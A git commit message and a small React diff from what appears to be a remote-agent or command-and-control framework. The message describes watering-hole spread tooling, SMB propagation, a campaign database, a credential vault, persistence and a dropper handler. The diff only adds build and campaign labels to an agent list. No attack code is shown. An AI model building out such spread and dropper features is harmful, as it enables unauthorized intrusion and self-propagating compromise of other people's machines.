feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

server/web/src/components/Fleet/AgentListItem.tsx

@@ -136,6 +136,8 @@ export default function AgentListItem({
             <span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
             <span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
             <span>v{agent.version || '?'}</span>
+            {agent.build_id && <span className="mono" title="Forge build">build:{agent.build_id.slice(0, 8)}</span>}
+            {agent.campaign && <span className="agent-tag-chip" title="Spread campaign">c:{agent.campaign}</span>}
           </div>
           {agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
           <AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />